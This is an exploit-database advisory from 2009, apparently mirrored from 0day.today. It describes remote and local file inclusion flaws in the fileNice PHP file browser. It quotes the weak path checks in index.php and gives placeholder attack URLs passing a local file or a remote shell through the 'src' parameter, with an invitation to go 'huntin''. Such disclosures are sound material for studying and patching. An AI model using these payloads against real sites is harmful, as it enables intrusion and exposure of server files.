Lucene search
K

fileNice php file browser RFI and LFI Vulnerabilities

🗓️ 31 Dec 2009 00:00:00Reported by e.wiZzType 
zdt
 zdt
🔗 0day.today👁 10 Views

FileNice php file browser RFI and LFI Vulnerabilitie

Code
=====================================================
fileNice php file browser RFI and LFI Vulnerabilities
=====================================================

FileNice file browser RFI&LFI
 
 
By: e.wiZz!
 
#######Script site: http://filenice.com
 
 
 
 
In the wild...
 
###################################
 
######Vulnerability:
 
 
index.php
 
...
if(isset($_GET['view'])){
    if(substr($_GET['view'],0,2) != ".." && substr($_GET['view'],0,1) != "/" && $_GET['view'] != "./" && !stristr($_GET['view'], '../')){
        $out = new FNOutput;
        $out->viewFile($_GET['view']);
    }else{
        // someone is poking around where they shouldn't be
        echo("Don't hack my shit yo.");
        exit;  
    }
}else if(isset($_GET['src'])){
    if(substr($_GET['src'],0,2) != ".." && substr($_GET['src'],0,1) != "/" && $_GET['src'] != "./" && !stristr($_GET['src'], '../')){
        $out = new FNOutput;
        $out->showSource($_GET['src']);
    }else{
        // someone is poking around where they shouldn't be
        echo("Don't hack my shit yo.");
        exit;  
    }
 
...
 
here is some security check for dir-traversal(can be bypassed),but there is no check for RFI,
also you can see source of any file which is in parent directory:
 
http://inthewild/path/index.php?src=[lfi]   // index.php or whatever
http://inthewild/path/index.php?src=[remote shell]
 
btw. there is lot of other vulnerabilities...happy huntin' :)



#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Dec 2009 00:00Current
7.1High risk
Vulners AI Score7.1
10